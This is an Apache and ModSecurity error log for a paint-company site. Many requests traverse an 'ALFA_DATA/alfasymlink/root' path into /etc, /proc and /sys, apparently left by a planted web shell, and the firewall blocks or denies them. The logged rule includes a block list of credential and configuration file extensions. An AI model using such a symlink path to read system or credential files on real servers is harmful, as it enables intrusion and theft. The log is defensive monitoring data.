[Sun Oct 25 15:22:25.591836 2026] [security2:error] [pid 2887635:tid 2887635] [client 16.216.88.130:49152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/sepermit.conf"] [unique_id "at5W8c5gRmbf7iHx_tbi1gAAAEw"]
[Sun Oct 25 15:22:25.592263 2026] [security2:error] [pid 2887635:tid 2887635] [client 16.216.88.130:49152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/sepermit.conf"] [unique_id "at5W8c5gRmbf7iHx_tbi1gAAAEw"]
[Sun Oct 25 15:22:25.592661 2026] [security2:error] [pid 2887635:tid 2887635] [client 16.216.88.130:49152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/sepermit.conf"] [unique_id "at5W8c5gRmbf7iHx_tbi1gAAAEw"]
[Sun Oct 25 15:22:26.399493 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 3.93.98.99:20459] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/rescan
[Sun Oct 25 15:22:26.400022 2026] [security2:error] [pid 2887586:tid 2887586] [client 3.93.98.99:20459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/rescan"] [unique_id "at5W8nWAJkvYyuEsFoLHYgAAABc"]
[Sun Oct 25 15:22:26.400061 2026] [security2:error] [pid 2887586:tid 2887586] [client 3.93.98.99:20459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/rescan"] [unique_id "at5W8nWAJkvYyuEsFoLHYgAAABc"]
[Sun Oct 25 15:22:30.446761 2026] [ssl:error] [pid 2887602:tid 2887602] (70014)End of file found: [client 3.93.98.99:60014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:34.530901 2026] [ssl:error] [pid 2887633:tid 2887633] (70014)End of file found: [client 3.221.156.96:27343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:42.576612 2026] [ssl:error] [pid 2887602:tid 2887602] (70014)End of file found: [client 35.168.238.50:42588] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:46.395135 2026] [ssl:error] [pid 2887626:tid 2887626] (70014)End of file found: [client 44.212.232.231:28272] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:54.562078 2026] [ssl:error] [pid 2887636:tid 2887636] (70014)End of file found: [client 3.232.39.98:13785] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:22:58.440588 2026] [core:error] [pid 2882168:tid 2882168] (13)Permission denied: [client 52.71.216.196:60579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/subsystem/drivers/button/LNXPWRBN:00/input/input0/device/driver/bind
[Sun Oct 25 15:23:02.488703 2026] [ssl:error] [pid 2887616:tid 2887616] (70014)End of file found: [client 50.19.221.48:65435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:10.441118 2026] [ssl:error] [pid 2887633:tid 2887633] (70014)End of file found: [client 98.83.226.125:60415] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:14.429927 2026] [ssl:error] [pid 2887636:tid 2887636] (70014)End of file found: [client 18.206.47.187:54142] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:22.646888 2026] [core:error] [pid 2887459:tid 2887459] (13)Permission denied: [client 44.218.170.184:31581] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/physical_node/subsystem/drivers/pci-stub/uevent
[Sun Oct 25 15:23:24.785240 2026] [security2:error] [pid 2885088:tid 2885088] [client 107.172.76.131:63938] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5XH4mi8ug6M5pAwuccbAAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:23:24.785318 2026] [security2:error] [pid 2885088:tid 2885088] [client 107.172.76.131:63938] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5XH4mi8ug6M5pAwuccbAAAAAI"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:23:26.712376 2026] [ssl:error] [pid 2887613:tid 2887613] (70014)End of file found: [client 100.29.63.24:42790] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:29.148866 2026] [core:error] [pid 2887569:tid 2887569] (13)Permission denied: [client 85.208.96.203:58914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/order
[Sun Oct 25 15:23:30.649077 2026] [core:error] [pid 2887568:tid 2887568] (13)Permission denied: [client 44.223.193.255:57118] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/ttyS2/device/subsystem/drivers_probe
[Sun Oct 25 15:23:32.174469 2026] [security2:error] [pid 2885079:tid 2885079] [client 107.172.76.131:63937] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5XJrla3kGuFz6t2zRGDAAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 15:23:32.174554 2026] [security2:error] [pid 2885079:tid 2885079] [client 107.172.76.131:63937] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5XJrla3kGuFz6t2zRGDAAAAAA"], referer: https://clic2.sherwinpinturas.com//beta.php
[Sun Oct 25 15:23:34.581305 2026] [ssl:error] [pid 2887616:tid 2887616] (70014)End of file found: [client 18.214.124.6:47061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:42.675604 2026] [ssl:error] [pid 2887608:tid 2887608] (70014)End of file found: [client 54.85.7.119:5201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:46.651352 2026] [ssl:error] [pid 2885109:tid 2885109] (70014)End of file found: [client 3.213.213.161:41467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:50.678034 2026] [ssl:error] [pid 2887616:tid 2887616] (70014)End of file found: [client 54.84.102.81:59445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:23:54.770438 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 184.73.195.18:47629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:24:06.600284 2026] [ssl:error] [pid 2887569:tid 2887569] (70014)End of file found: [client 34.227.234.246:38821] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:24:14.539452 2026] [core:error] [pid 2887612:tid 2887612] (13)Permission denied: [client 34.236.135.14:18433] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/xen-platform-pci/remove_id
[Sun Oct 25 15:24:22.184895 2026] [core:error] [pid 2887586:tid 2887586] (13)Permission denied: [client 85.208.96.209:63456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/ctor
[Sun Oct 25 15:24:26.616331 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 3.212.205.90:21047] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:24:39.075385 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 54.80.185.200:8045] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:24:46.580702 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 44.212.232.231:52748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:24:51.068101 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 54.156.248.117:14628] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:25:02.558111 2026] [ssl:error] [pid 2887568:tid 2887568] (70014)End of file found: [client 54.197.102.71:29470] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:25:06.639485 2026] [core:error] [pid 2885105:tid 2885105] (13)Permission denied: [client 54.225.181.161:38936] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/device:00/physical_node/i2c-0/delete_device
[Sun Oct 25 15:25:25.386804 2026] [core:error] [pid 2887568:tid 2887568] (13)Permission denied: [client 185.191.171.6:24094] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/digestshadow
[Sun Oct 25 15:25:46.852735 2026] [ssl:error] [pid 2882149:tid 2882149] (70014)End of file found: [client 52.71.216.196:43199] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:25:58.644345 2026] [ssl:error] [pid 2887635:tid 2887635] (70014)End of file found: [client 52.207.47.227:16829] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:25:59.044674 2026] [core:error] [pid 2887459:tid 2887459] (13)Permission denied: [client 185.191.171.15:40480] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__tracepoints_strings
[Sun Oct 25 15:26:06.622863 2026] [ssl:error] [pid 2887569:tid 2887569] (70014)End of file found: [client 18.205.91.101:41999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:26:10.643718 2026] [core:error] [pid 2887616:tid 2887616] (13)Permission denied: [client 98.82.40.168:28409] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/remove
[Sun Oct 25 15:26:14.898577 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 52.202.233.37:1048] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:26:31.045416 2026] [core:error] [pid 2887608:tid 2887608] (13)Permission denied: [client 44.215.210.112:62614] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/resource4
[Sun Oct 25 15:26:34.803672 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 44.205.180.155:6749] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:26:38.773291 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 54.90.8.255:11853] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:26:50.832760 2026] [ssl:error] [pid 2887608:tid 2887608] (70014)End of file found: [client 34.225.243.131:6945] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:26:54.900910 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 54.91.122.193:16190] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/resource0
[Sun Oct 25 15:27:03.122260 2026] [ssl:error] [pid 2885105:tid 2885105] (70014)End of file found: [client 107.20.224.184:2370] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:27:05.893222 2026] [core:error] [pid 2882184:tid 2882184] (13)Permission denied: [client 185.191.171.13:59490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/uts_namespace/cpu_slabs
[Sun Oct 25 15:27:14.777343 2026] [core:error] [pid 2880779:tid 2880779] (13)Permission denied: [client 52.204.253.129:57048] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/event0/subsystem/input1/device/firmware_node/physical_node1/drvctl
[Sun Oct 25 15:27:18.755662 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 54.210.155.69:59984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:27:26.744508 2026] [ssl:error] [pid 2882149:tid 2882149] (5)Input/output error: [client 98.84.70.201:30080] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:27:34.971209 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 54.84.147.79:40866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:27:37.530247 2026] [core:error] [pid 2882184:tid 2882184] (13)Permission denied: [client 185.191.171.4:63770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/x86_lbr/slab_size
[Sun Oct 25 15:27:40.605323 2026] [core:error] [pid 2885079:tid 2885079] (13)Permission denied: [client 185.191.171.9:35554] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/store_user
[Sun Oct 25 15:27:47.255362 2026] [ssl:error] [pid 2887635:tid 2887635] (70014)End of file found: [client 3.93.211.16:25832] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:27:58.919981 2026] [ssl:error] [pid 2885079:tid 2885079] (22)Invalid argument: [client 54.91.122.193:26265] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:00.718982 2026] [ssl:error] [pid 2880779:tid 2880779] (70014)End of file found: [client 85.208.96.211:11672] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:02.797738 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 52.45.77.169:10514] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:07.919660 2026] [core:error] [pid 2885109:tid 2885109] (13)Permission denied: [client 185.191.171.9:35964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/tcp_bind_bucket/shrink
[Sun Oct 25 15:28:10.999060 2026] [ssl:error] [pid 2887586:tid 2887586] (70014)End of file found: [client 3.213.106.226:21005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:10.999280 2026] [security2:error] [pid 2887586:tid 2887586] [client 3.213.106.226:21005] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0b/power/control"] [unique_id "at5YSnWAJkvYyuEsFoLHcAAAABc"]
[Sun Oct 25 15:28:10.999311 2026] [security2:error] [pid 2887586:tid 2887586] [client 3.213.106.226:21005] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:0b/power/control"] [unique_id "at5YSnWAJkvYyuEsFoLHcAAAABc"]
[Sun Oct 25 15:28:18.910350 2026] [ssl:error] [pid 2887570:tid 2887570] (70014)End of file found: [client 52.2.191.202:1373] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:26.166678 2026] [core:error] [pid 2887612:tid 2887612] (13)Permission denied: [client 185.191.171.9:45350] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/usersize
[Sun Oct 25 15:28:26.167254 2026] [security2:error] [pid 2887612:tid 2887612] [client 185.191.171.9:45350] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/usersize"] [unique_id "at5YWmpZ-EYaCoexNWvvpAAAADU"]
[Sun Oct 25 15:28:26.167291 2026] [security2:error] [pid 2887612:tid 2887612] [client 185.191.171.9:45350] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/usersize"] [unique_id "at5YWmpZ-EYaCoexNWvvpAAAADU"]
[Sun Oct 25 15:28:31.209825 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 98.83.72.38:28245] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:38.960076 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 18.205.127.11:50746] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:28:40.839979 2026] [core:error] [pid 2887635:tid 2887635] (13)Permission denied: [client 85.208.96.210:24344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/free_calls
[Sun Oct 25 15:28:41.189141 2026] [security2:error] [pid 2887568:tid 2887568] [client 107.172.76.131:64093] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5YWD5pQLoBQNR0orBTDwAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:28:41.189191 2026] [security2:error] [pid 2887568:tid 2887568] [client 107.172.76.131:64093] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5YWD5pQLoBQNR0orBTDwAAAAs"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 15:28:58.952362 2026] [core:error] [pid 2885088:tid 2885088] (13)Permission denied: [client 35.173.18.61:2990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/mice/subsystem/input0/device/driver/unbind
[Sun Oct 25 15:29:06.905388 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 3.94.156.104:42282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:14.999999 2026] [ssl:error] [pid 2887608:tid 2887608] (70014)End of file found: [client 52.71.203.206:28703] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:23.031939 2026] [ssl:error] [pid 2882184:tid 2882184] (70014)End of file found: [client 23.23.99.55:7025] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:27.025107 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 18.210.58.238:4981] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:30.809387 2026] [authz_core:error] [pid 2887586:tid 2887586] [client 47.251.42.6:59532] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 15:29:30.949563 2026] [ssl:error] [pid 2887608:tid 2887608] (70014)End of file found: [client 34.206.193.60:41360] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:33.444882 2026] [security2:error] [pid 2885094:tid 2885094] [client 85.208.96.204:45800] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/rsyslog.conf"] [unique_id "at5YncQLj3BHFe0xVVDOAgAAAAU"]
[Sun Oct 25 15:29:33.445299 2026] [security2:error] [pid 2885094:tid 2885094] [client 85.208.96.204:45800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/rsyslog.conf"] [unique_id "at5YncQLj3BHFe0xVVDOAgAAAAU"]
[Sun Oct 25 15:29:33.445667 2026] [security2:error] [pid 2885094:tid 2885094] [client 85.208.96.204:45800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/rsyslog.conf"] [unique_id "at5YncQLj3BHFe0xVVDOAgAAAAU"]
[Sun Oct 25 15:29:39.005202 2026] [ssl:error] [pid 2887612:tid 2887612] (70014)End of file found: [client 18.207.89.138:19563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:47.223094 2026] [ssl:error] [pid 2887585:tid 2887585] (70014)End of file found: [client 44.223.115.10:35404] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 15:29:52.573469 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at5YsENgGhNT1R9I9L_-MwAAADE"]
[Sun Oct 25 15:29:52.573931 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at5YsENgGhNT1R9I9L_-MwAAADE"]
[Sun Oct 25 15:29:52.574238 2026] [security2:error] [pid 2887608:tid 2887608] [client 34.77.67.151:53640] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at5YsENgGhNT1R9I9L_-MwAAADE"]
[Sun Oct 25 15:29:52.808290 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at5YsJ1xajE3yGGRkQHbjQAAABY"]
[Sun Oct 25 15:29:52.808650 2026] [security2:error] [pid 2887585:tid 2887585] [client 34.77.67.151:43738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/"] [unique_id "at5YsJ1xajE3yGGRkQHbjQAAABY"]
